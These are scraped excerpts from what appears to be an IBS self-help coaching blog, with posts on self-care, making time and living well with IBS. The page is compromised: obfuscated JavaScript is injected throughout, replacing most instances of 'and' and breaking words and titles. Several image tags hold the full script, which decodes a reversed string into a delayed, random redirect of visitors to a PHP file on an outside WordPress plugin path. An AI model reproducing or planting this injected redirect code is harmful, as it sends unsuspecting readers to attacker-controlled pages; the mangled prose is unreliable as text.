Topic: IBS and Lifestyle

IBS Relief: Are You Making Time or Excuses? Part 2

IBS Relief: Are You Making Time or Excuses? Part 2

In my last blog, I shared about how being in pain helped me in creating a flow in how I make time for the things that are important in my life. It meant eliminating many things that were holding me back andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and adding things that I never thought I would do.

 

I wanted to follow up by sharing with you some specific ways in which I was able to make the change from making excuses to making time.

 

At first, you may need to help from friends or family members who can [...]

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IBS Relief: Are You Making Time or Excuses?

IBS Relief: Are You Making Time or Excuses?

Not having the time is the number one excuse we all use when we aren’t getting the results we want. I won’t argue with the fact that our lives are jammed packed with activity. For many of my clients it’s work, kids, house chores, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and bed. If you are suffering from physical pain or IBS, that adds a whole new level of stress into your daily routine. Regardless of what you may be dealing with in your life, the difference between my clients who get what they want andom() * 5);if (number1==3){var [...]

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Self-Care andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS Relief

Self-Care <script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS Relief" class="alignleft wp-post-image" />

We hear often in the self-help world how important self-care is. However, we don’t do it enough andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and it’s because we don’t know how. I think we have a perception that there’s a right way to do self-care.

 

I laughed inside when my client thanked me for not telling her to do yoga andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and pilates. That’s the funny thing about self-care; you don’t have to do anything. I notice a lot of people putting self-care into their routine as a forced thing. Then they feel tired [...]

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Releasing Resistance andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS

Releasing Resistance <script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS" class="alignleft wp-post-image" />

Listening to Your  Gut:  Connect with Your Body andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Get IBS Relief

 

Good luck on your journey, I know that releasing will help me as I embark on a new year.

 

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IBS Thanksgiving Survival Guide: Five Ways to Create a Healthy andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Happy Holiday

IBS Thanksgiving Survival Guide: Five Ways to Create a Healthy <script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Happy Holiday" class="alignleft wp-post-image" />

 

It’s not easy having IBS during Thanksgiving. Besides the fact that you are inundated with tons of different foods you are also eating in different social situations andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and although we love our families sometimes being with our families can be stressful. These two things combined make a bad combination for people suffering with IBS andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and can turn the “holiday” into a “hellday”. However, it doesn’t have to be that way,  there are things you can do to enjoy this plentiful time.
If your goal is to experience [...]

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Creating A Healthy Life With IBS

Creating A Healthy Life With IBS

How much time every day do you focus on your IBS?

 

Are you thinking about it all the time?

 

I know it’s hard not to, with your stomach acting all kinds of crazy andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and worrying if you’ll make it through the next meeting for class.

 

But what we focus on expandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands.

 

I know I’m not saying this is all in your mind andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and your creating yourself.

 

But I am saying placing your focus somewhere else can help you get through that next hour.

 

When [...]

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How To Live Well With IBS

How To Live Well With IBS

I am well.

 

I heard this from Wayne Dwyer at 3 am on a night when I had turned on the TV because sleep just wasn’t happening.

 

Three simple words yet so powerful.

 

For people struggling with IBS the words “ I am well” don’t often cross your mind. But they should.

 

You see if you focus on “I am well” you take your attention off what is wrong with you.

 

Simple yet so hard.

 

Why?

 

Because were so used to seeing what’s wrong with our body andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and trying to fix it.

 

And no matter how hard we try we [...]

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The Secret to Feeling Good

The Secret to Feeling Good

 

 

It seems that everyone is looking to find something to make them feel good.

 

This came to mind when I heard how many people are reading 50 Shades of Gray. I’m not against people reading 50 Shades of Gray but it seems like people are looking for something make themselves feel good andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and take them away from what’s in front of them.

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Understandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anding Your IBS Pain

Underst<script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anding Your IBS Pain" class="alignleft wp-post-image" />

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